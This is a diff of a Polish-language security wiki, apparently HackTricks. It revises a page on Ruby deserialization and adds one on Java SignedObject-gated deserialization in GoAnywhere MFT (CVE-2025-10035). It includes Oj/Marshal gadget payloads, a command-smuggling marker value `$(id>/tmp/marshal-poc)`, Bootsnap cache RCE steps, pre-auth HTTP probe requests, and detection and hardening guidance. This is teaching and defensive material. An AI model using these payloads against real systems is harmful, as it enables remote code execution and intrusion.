W Ruby serializacja jest ułatwiana przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, jest używana do przekształcania obiektu w strumień bajtów. Proces ten nazywa się serializacją. Z kolei druga metoda, **load**, jest stosowana do przywracania strumienia bajtów z powrotem do obiektu, co nazywa się deserializacją.
|
W Ruby serializacja jest realizowana przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, służy do przekształcenia obiektu w strumień bajtów — proces ten nazywamy serializacją. Z kolei druga metoda, **load**, służy do przywrócenia strumienia bajtów do obiektu — proces ten nazywamy deserializacją.
|
||||||
|
|
||||||
Aby zabezpieczyć zserializowane obiekty, **Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code)**, zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z kilku możliwych miejsc:
|
Aby zabezpieczyć serializowane obiekty, **Ruby używa HMAC (Hash-Based Message Authentication Code)**, zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z następujących miejsc:
|
||||||
|
|
||||||
- `config/environment.rb`
|
- `config/environment.rb`
|
||||||
- `config/initializers/secret_token.rb`
|
- `config/initializers/secret_token.rb`
|
||||||
- `config/secrets.yml`
|
- `config/secrets.yml`
|
||||||
- `/proc/self/environ`
|
- `/proc/self/environ`
|
||||||
|
|
||||||
**Ogólna deserializacja Ruby 2.X do łańcucha gadżetów RCE (więcej informacji w** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
**Ogólny łańcuch gadżetów deserializacji w Ruby 2.X prowadzący do RCE (więcej informacji w** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
|
||||||
```ruby
|
```ruby
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
@ -871,18 +886,18 @@ require "base64"
|
|||||||
puts "Payload (Base64 encoded):"
|
puts "Payload (Base64 encoded):"
|
||||||
puts Base64.encode64(payload)
|
puts Base64.encode64(payload)
|
||||||
```
|
```
|
||||||
Inna łańcuch RCE do wykorzystania Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
Inny łańcuch RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||||
|
|
||||||
### Metoda Ruby .send()
|
### Metoda Ruby .send()
|
||||||
|
|
||||||
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli jakieś niesanitizowane dane wejściowe użytkownika dotrą do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami.
|
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli niesanitizowane dane wejściowe użytkownika trafią do metody `.send()` obiektu ruby, metoda ta pozwala **wywołać dowolną inną metodę** obiektu z dowolnymi parametrami.
|
||||||
|
|
||||||
Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu:
|
Na przykład, wywołanie eval, a następnie przekazanie kodu ruby jako drugiego parametru, pozwoli na wykonanie dowolnego kodu:
|
||||||
```ruby
|
```ruby
|
||||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||||
```
|
```
|
||||||
Ponadto, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która **nie potrzebuje argumentów** lub której argumenty mają **wartości domyślne**.\
|
Co więcej, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano we wcześniejszym opisie, możliwe jest wywołanie dowolnej metody obiektu, która **nie wymaga argumentów** lub której argumenty mają **wartości domyślne**.\\
|
||||||
W tym celu można wyenumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**.
|
W tym celu można wyenumerować wszystkie metody obiektu, aby **znaleźć jakieś interesujące metody spełniające te wymagania**.
|
||||||
```ruby
|
```ruby
|
||||||
<Object>.send('<user_input>')
|
<Object>.send('<user_input>')
|
||||||
|
|
||||||
@ -904,23 +919,23 @@ candidate_methods = repo_methods.select() do |method_name|
|
|||||||
end
|
end
|
||||||
candidate_methods.length() # Final number of methods=> 3595
|
candidate_methods.length() # Final number of methods=> 3595
|
||||||
```
|
```
|
||||||
### Zanieczyszczenie klasy Ruby
|
### Ruby class pollution
|
||||||
|
|
||||||
Sprawdź, jak można [zanieczyścić klasę Ruby i wykorzystać to tutaj](ruby-class-pollution.md).
|
Sprawdź, jak możliwe jest [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
|
||||||
|
|
||||||
### Zanieczyszczenie _json Ruby
|
### Ruby _json pollution
|
||||||
|
|
||||||
Podczas wysyłania w ciele wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale także używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji.
|
Gdy w body zostaną wysłane wartości, które nie są hashowalne, np. tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże atakujący może też ustawić w body wartość o nazwie `_json` z dowolnymi wartościami, jakie sobie życzy. Wtedy, jeśli backend np. sprawdza poprawność parametru, ale następnie używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji.
|
||||||
|
|
||||||
Sprawdź więcej informacji na stronie [zanieczyszczenia _json Ruby](ruby-_json-pollution.md).
|
Zobacz więcej informacji na [Ruby _json pollution page](ruby-_json-pollution.md).
|
||||||
|
|
||||||
### Inne biblioteki
|
### Inne biblioteki
|
||||||
|
|
||||||
Ta technika została wzięta [**z tego wpisu na blogu**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
Ta technika została zaczerpnięta[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||||
|
|
||||||
Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i które mogą być wykorzystane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują z załadowanej biblioteki, gdy jest ona deserializowana (funkcja do wykorzystania w celu uzyskania RCE w zasadzie):
|
Istnieją inne biblioteki Ruby, które mogą być użyte do serialize obiektów i które mogą zostać wykorzystane do uzyskania RCE podczas insecure deserialization. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę wywoływaną po załadowaniu klasy, gdy zostanie unserialized (funkcja do wykorzystania, żeby uzyskać RCE):
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Dane wejściowe</strong></td><td><strong>Metoda uruchamiająca wewnątrz klasy</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa musi być umieszczona w hashu (mapie) jako klucz)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa musi być umieszczona w hashu (mapie) jako klucz)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa musi być umieszczona w hashu (mapie) jako klucz)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Dane wejściowe</strong></td><td><strong>Metoda inicjująca wewnątrz klasy</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||||
|
|
||||||
Podstawowy przykład:
|
Podstawowy przykład:
|
||||||
```ruby
|
```ruby
|
||||||
@ -944,7 +959,7 @@ puts json_payload
|
|||||||
# Sink vulnerable inside the code accepting user input as json_payload
|
# Sink vulnerable inside the code accepting user input as json_payload
|
||||||
Oj.load(json_payload)
|
Oj.load(json_payload)
|
||||||
```
|
```
|
||||||
W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która w swojej funkcji `hash` wywołuje `to_s`, co wywołuje spec, które wywołuje fetch_path, co pozwoliło na pobranie losowego URL, co stanowi doskonały wskaźnik tego rodzaju nieoczyszczonych podatności na deserializację.
|
W przypadku próby nadużycia Oj udało się znaleźć klasę gadgetu, która wewnątrz swojej funkcji `hash` wywołuje `to_s`, które wywołuje `spec`, które wywołuje `fetch_path` — i którą można było zmusić do pobrania losowego URL, co daje świetny wykrywacz tego rodzaju unsanitized deserialization vulnerabilities.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "URI::HTTP",
|
"^o": "URI::HTTP",
|
||||||
@ -956,7 +971,7 @@ W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, któr
|
|||||||
"password": "anypw"
|
"password": "anypw"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest również folder, co jest wymagane do wykorzystania innego gadżetu w celu przekształcenia tego w pełne RCE z czymś takim jak:
|
Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest również katalog, który jest wymagany do wykorzystania innego gadgetu, aby przekształcić to w pełne RCE za pomocą czegoś takiego:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "Gem::Resolver::SpecSpecification",
|
"^o": "Gem::Resolver::SpecSpecification",
|
||||||
@ -978,46 +993,50 @@ Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony j
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Sprawdź więcej szczegółów w [**oryginalnym poście**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||||
|
|
||||||
### Bootstrap Caching
|
### Bootstrap Caching
|
||||||
|
|
||||||
Nie jest to naprawdę luka deserializacji, ale miły trik, aby wykorzystać bootstrap caching do uzyskania RCE z aplikacji rails z dowolnym zapisem pliku (znajdź pełny [oryginalny post tutaj](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||||
|
|
||||||
Poniżej znajduje się krótki podsumowanie kroków szczegółowo opisanych w artykule dotyczących wykorzystania luki w zapisie pliku przez nadużycie pamięci podręcznej Bootsnap:
|
Poniżej krótka synteza kroków opisanych w artykule, służących do wykorzystania arbitrary file write poprzez nadużycie cache Bootsnap:
|
||||||
|
|
||||||
- Zidentyfikuj lukę i środowisko
|
- Identify the Vulnerability and Environment
|
||||||
|
|
||||||
Funkcjonalność przesyłania plików w aplikacji Rails pozwala atakującemu na dowolne zapisywanie plików. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, takie jak tmp, są zapisywalne z powodu użytkownika non-root w Dockerze), nadal pozwala to na zapis do katalogu pamięci podręcznej Bootsnap (zwykle pod tmp/cache/bootsnap).
|
Funkcja uploadu plików w aplikacji Rails pozwala atakującemu na arbitrary file write. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, takie jak tmp, są zapisywalne z powodu uruchomienia w Dockerze jako non-root user), nadal umożliwia to zapis do katalogu cache Bootsnap (zazwyczaj pod tmp/cache/bootsnap).
|
||||||
|
|
||||||
- Zrozum mechanizm pamięci podręcznej Bootsnap
|
- Understand Bootsnap’s Cache Mechanism
|
||||||
|
|
||||||
Bootsnap przyspiesza czas uruchamiania Rails, przechowując skompilowany kod Ruby, pliki YAML i JSON w pamięci podręcznej. Przechowuje pliki pamięci podręcznej, które zawierają nagłówek klucza pamięci podręcznej (z polami takimi jak wersja Ruby, rozmiar pliku, mtime, opcje kompilacji itp.) następnie skompilowany kod. Ten nagłówek jest używany do walidacji pamięci podręcznej podczas uruchamiania aplikacji.
|
Bootsnap przyspiesza uruchamianie Rails, buforując skompilowany kod Ruby, pliki YAML i JSON. Zapisuje pliki cache, które zawierają nagłówek cache key (z polami takimi jak RUBY_VERSION, file size, mtime, compile options, itd.), po którym następuje skompilowany kod. Ten nagłówek jest używany do walidacji cache podczas startu aplikacji.
|
||||||
|
|
||||||
- Zbierz metadane pliku
|
- Gather File Metadata
|
||||||
|
|
||||||
Atakujący najpierw wybiera plik docelowy, który prawdopodobnie jest ładowany podczas uruchamiania Rails (na przykład set.rb z standardowej biblioteki Ruby). Wykonując kod Ruby wewnątrz kontenera, wydobywają krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, rozmiar, mtime i compile_option). Te dane są niezbędne do skonstruowania ważnego klucza pamięci podręcznej.
|
Atakujący wybiera najpierw docelowy plik, który prawdopodobnie ładuje się podczas startu Rails (np. set.rb z biblioteki standardowej Ruby). Uruchamiając kod Ruby wewnątrz kontenera, wydobywa krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, size, mtime i compile_option). Dane te są niezbędne do stworzenia poprawnego cache key.
|
||||||
|
|
||||||
- Oblicz ścieżkę pliku pamięci podręcznej
|
- Compute the Cache File Path
|
||||||
|
|
||||||
Replikując mechanizm haszowania FNV-1a 64-bit Bootsnap, określa się poprawną ścieżkę pliku pamięci podręcznej. Ten krok zapewnia, że złośliwy plik pamięci podręcznej jest umieszczany dokładnie tam, gdzie Bootsnap się go spodziewa (np. pod tmp/cache/bootsnap/compile-cache-iseq/).
|
Poprzez odtworzenie mechanizmu haszowania FNV-1a 64-bit używanego przez Bootsnap, ustala się poprawną ścieżkę pliku cache. Ten krok zapewnia, że złośliwy plik cache zostanie umieszczony dokładnie tam, gdzie Bootsnap go oczekuje (np. w katalogu tmp/cache/bootsnap/compile-cache-iseq/).
|
||||||
|
|
||||||
- Przygotuj złośliwy plik pamięci podręcznej
|
- Craft the Malicious Cache File
|
||||||
|
|
||||||
Atakujący przygotowuje ładunek, który:
|
Atakujący przygotowuje payload, który:
|
||||||
|
|
||||||
- Wykonuje dowolne polecenia (na przykład uruchamia id, aby pokazać informacje o procesie).
|
- wykonuje arbitrary commands (np. uruchamia id, aby pokazać info o procesie),
|
||||||
- Usuwa złośliwą pamięć podręczną po wykonaniu, aby zapobiec rekurencyjnemu wykorzystaniu.
|
- usuwa złośliwy cache po wykonaniu, aby zapobiec rekurencyjnemu wykorzystaniu,
|
||||||
- Ładuje oryginalny plik (np. set.rb), aby uniknąć awarii aplikacji.
|
- ładuje oryginalny plik (np. set.rb), by nie spowodować awarii aplikacji.
|
||||||
|
|
||||||
Ten ładunek jest kompilowany do binarnego kodu Ruby i łączony z starannie skonstruowanym nagłówkiem klucza pamięci podręcznej (używając wcześniej zebranych metadanych i poprawnego numeru wersji dla Bootsnap).
|
Ten payload jest kompilowany do binarnego kodu Ruby i doklejany do starannie skonstruowanego cache key header (z użyciem wcześniej zebranych metadanych i poprawnego numeru wersji Bootsnap).
|
||||||
|
|
||||||
- Nadpisz i wyzwól wykonanie
|
- Overwrite and Trigger Execution
|
||||||
Korzystając z luki w zapisie pliku, atakujący zapisuje skonstruowany plik pamięci podręcznej w obliczonej lokalizacji. Następnie wyzwalają ponowne uruchomienie serwera (poprzez zapis do tmp/restart.txt, który jest monitorowany przez Pumę). Podczas ponownego uruchamiania, gdy Rails wymaga docelowego pliku, złośliwy plik pamięci podręcznej jest ładowany, co skutkuje zdalnym wykonaniem kodu (RCE).
|
|
||||||
|
|
||||||
### Wykorzystanie Ruby Marshal w praktyce (zaktualizowane)
|
Wykorzystując arbitrary file write, atakujący zapisuje przygotowany plik cache w obliczonej lokalizacji. Następnie wywołuje restart serwera (zapisując do tmp/restart.txt, które jest monitorowane przez Puma). Podczas restartu, kiedy Rails załaduje docelowy plik (wywołując require), złośliwy plik cache zostaje załadowany, co skutkuje remote code execution (RCE).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Ruby Marshal exploitation in practice (updated)
|
||||||
|
|
||||||
|
Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
|
||||||
|
|
||||||
Traktuj każdą ścieżkę, w której nieufne bajty docierają do `Marshal.load`/`marshal_load`, jako punkt RCE. Marshal rekonstruuje dowolne grafy obiektów i wyzwala wywołania zwrotne bibliotek/gemów podczas materializacji.
|
|
||||||
|
|
||||||
- Minimalna podatna ścieżka kodu Rails:
|
- Minimalna podatna ścieżka kodu Rails:
|
||||||
```ruby
|
```ruby
|
||||||
@ -1033,22 +1052,23 @@ end
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
```
|
```
|
||||||
- Typowe klasy gadżetów widziane w rzeczywistych łańcuchach: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
- Powszechne klasy gadgetów spotykane w real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||||
- Typowy znacznik efektu ubocznego osadzony w ładunkach (wykonywany podczas deserializacji):
|
- Typowy znacznik efektu ubocznego osadzony w payloads (wykonywany podczas unmarshal):
|
||||||
```
|
```
|
||||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||||
```
|
```
|
||||||
Gdzie to występuje w rzeczywistych aplikacjach:
|
Gdzie pojawia się w rzeczywistych aplikacjach:
|
||||||
- Pamięci podręczne Rails i pamięci sesji historycznie używające Marshal
|
- Rails cache stores and session stores historically using Marshal
|
||||||
- Tła zadań i obiekty przechowywane w plikach
|
- Background job backends and file-backed object stores
|
||||||
- Każda niestandardowa persystencja lub transport binarnych obiektów blob
|
- Any custom persistence or transport of binary object blobs
|
||||||
|
|
||||||
Zindustrializowane odkrywanie gadżetów:
|
Zindustrializowane wykrywanie gadgetów:
|
||||||
- Grep dla konstruktorów, `hash`, `_load`, `init_with` lub metod wywoływanych podczas unmarshal
|
- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal
|
||||||
- Użyj zapytań CodeQL dotyczących niebezpiecznej deserializacji Ruby, aby śledzić źródła → ujścia i odkrywać gadżety
|
- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets
|
||||||
- Walidacja za pomocą publicznych PoC w wielu formatach (JSON/XML/YAML/Marshal)
|
- Weryfikuj za pomocą publicznych PoC-ów wieloformatowych (JSON/XML/YAML/Marshal)
|
||||||
|
|
||||||
## Odniesienia
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||||
@ -1064,5 +1084,6 @@ Zindustrializowane odkrywanie gadżetów:
|
|||||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||||
|
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -0,0 +1,140 @@
|
|||||||
|
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ta strona dokumentuje powszechny wzorzec "guarded" Java deserialization zbudowany wokół java.security.SignedObject oraz jak pozornie nieosiągalne sinks mogą stać się dostępne pre-auth przez ścieżki obsługi błędów. Technika została zaobserwowana w Fortra GoAnywhere MFT (CVE-2025-10035), ale ma zastosowanie do podobnych projektów.
|
||||||
|
|
||||||
|
## Threat model
|
||||||
|
|
||||||
|
- Atakujący może dotrzeć do endpointu HTTP, który ostatecznie przetwarza dostarczone przez atakującego byte[] przeznaczone do bycia serializowanym SignedObject.
|
||||||
|
- Kod używa wrappera walidującego (np. Apache Commons IO ValidatingObjectInputStream lub custom adapter) aby ograniczyć zewnętrzny typ do SignedObject (lub byte[]).
|
||||||
|
- Obiekt wewnętrzny zwracany przez SignedObject.getObject() to miejsce, gdzie gadget chains mogą zostać uruchomione (np. CommonsBeanutils1), ale tylko po bramce weryfikacji podpisu.
|
||||||
|
|
||||||
|
## Typical vulnerable pattern
|
||||||
|
|
||||||
|
A simplified example based on com.linoma.license.gen2.BundleWorker.verify:
|
||||||
|
```java
|
||||||
|
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||||
|
String sigAlg = "SHA1withDSA";
|
||||||
|
if ("2".equals(keyCfg.getVersion())) {
|
||||||
|
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||||
|
}
|
||||||
|
PublicKey pub = getPublicKey(keyCfg);
|
||||||
|
Signature sig = Signature.getInstance(sigAlg);
|
||||||
|
|
||||||
|
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||||
|
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||||
|
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||||
|
|
||||||
|
if (keyCfg.isServer()) {
|
||||||
|
// Hardened server path
|
||||||
|
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||||
|
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||||
|
)).getData();
|
||||||
|
} else {
|
||||||
|
// 2) Signature check using a baked-in public key
|
||||||
|
if (!so.verify(pub, sig)) {
|
||||||
|
throw new IOException("Unable to verify signature!");
|
||||||
|
}
|
||||||
|
// 3) Inner object deserialization (potential gadget execution)
|
||||||
|
SignedContainer inner = (SignedContainer) so.getObject();
|
||||||
|
return inner.getData();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Key observations:
|
||||||
|
- Walidujący deserializer w (1) blokuje dowolne top-level gadget classes; akceptowane jest tylko SignedObject (lub raw byte[]).
|
||||||
|
- Primitiv RCE znajdowałby się w obiekcie wewnętrznym zmaterializowanym przez SignedObject.getObject() w (3).
|
||||||
|
- Bramka podpisu w (2) wymusza, że SignedObject musi zostać zweryfikowany przy użyciu klucza publicznego dostarczonego przez producenta. Jeśli atakujący nie potrafi wygenerować prawidłowego podpisu, wewnętrzny gadget nigdy się nie deserializuje.
|
||||||
|
|
||||||
|
## Rozważania dotyczące eksploatacji
|
||||||
|
|
||||||
|
Aby osiągnąć wykonanie kodu, atakujący musi dostarczyć prawidłowo podpisany SignedObject, który zawiera złośliwy gadget chain jako obiekt wewnętrzny. Zazwyczaj wymaga to jednego z poniższych:
|
||||||
|
|
||||||
|
- Private key compromise: uzyskanie odpowiadającego klucza prywatnego używanego przez produkt do sign/verify obiektów licencji.
|
||||||
|
- Signing oracle: zmuszenie dostawcy lub zaufanej usługi podpisującej do podpisania kontrolowanej przez atakującego serializowanej treści (np. jeśli license server podpisuje osadzony dowolny obiekt z wejścia klienta).
|
||||||
|
- Alternate reachable path: znalezienie ścieżki po stronie serwera, która deserializuje obiekt wewnętrzny bez egzekwowania verify(), albo która pomija sprawdzenia podpisu w określonym trybie.
|
||||||
|
|
||||||
|
W braku jednego z powyższych, weryfikacja podpisu uniemożliwi eksploatację pomimo istnienia deserialization sink.
|
||||||
|
|
||||||
|
## Pre-auth reachability via error-handling flows
|
||||||
|
|
||||||
|
Nawet gdy deserialization endpoint wydaje się wymagać uwierzytelnienia lub tokenu związanego z sesją, kod obsługi błędów może przypadkowo wygenerować i dołączyć token do nieuwierzytelnionej sesji.
|
||||||
|
|
||||||
|
Example reachability chain (GoAnywhere MFT):
|
||||||
|
- Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
|
||||||
|
- Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
|
||||||
|
- SessionUtilities.generateLicenseRequestToken(session)
|
||||||
|
- Redirects to vendor license server with a signed license request in bundle=<...>
|
||||||
|
- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
|
||||||
|
|
||||||
|
Proof-of-reachability (impact-less) probe:
|
||||||
|
```http
|
||||||
|
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||||
|
Host: <target>
|
||||||
|
```
|
||||||
|
- Niezałatany: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
|
||||||
|
- Załatany: przekierowanie bez bundle (brak generowania tokena).
|
||||||
|
|
||||||
|
## Wykrywanie (Blue-team)
|
||||||
|
|
||||||
|
Wskaźniki w stack traces/logs wyraźnie sugerują próby trafienia w SignedObject-gated sink:
|
||||||
|
```
|
||||||
|
java.io.ObjectInputStream.readObject
|
||||||
|
java.security.SignedObject.getObject
|
||||||
|
com.linoma.license.gen2.BundleWorker.verify
|
||||||
|
com.linoma.license.gen2.BundleWorker.unbundle
|
||||||
|
com.linoma.license.gen2.LicenseController.getResponse
|
||||||
|
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||||
|
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||||
|
```
|
||||||
|
## Wskazówki dotyczące utwardzania
|
||||||
|
|
||||||
|
- Utrzymuj weryfikację podpisu przed każdym wywołaniem getObject() i upewnij się, że weryfikacja używa zamierzonego klucza publicznego/algorytmu.
|
||||||
|
- Zastąp bezpośrednie wywołania SignedObject.getObject() bezpieczną nakładką, która ponownie stosuje filtrowanie do wewnętrznego strumienia (np. deserializeUntrustedSignedObject używając ValidatingObjectInputStream/ObjectInputFilter allow-lists).
|
||||||
|
- Usuń ścieżki obsługi błędów, które wydają tokeny powiązane z sesją dla użytkowników nieuwierzytelnionych. Traktuj ścieżki błędów jako powierzchnię ataku.
|
||||||
|
- Preferuj Java serialization filters (JEP 290) ze ścisłymi allow-lists zarówno dla zewnętrznej, jak i wewnętrznej deserializacji. Przykład:
|
||||||
|
```java
|
||||||
|
ObjectInputFilter filter = info -> {
|
||||||
|
Class<?> c = info.serialClass();
|
||||||
|
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||||
|
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||||
|
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||||
|
};
|
||||||
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
|
// For the inner object, apply a separate strict DTO allow-list
|
||||||
|
```
|
||||||
|
## Przykładowe podsumowanie łańcucha ataku (CVE-2025-10035)
|
||||||
|
|
||||||
|
1) Pre-auth token minting via error handler:
|
||||||
|
```http
|
||||||
|
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||||
|
```
|
||||||
|
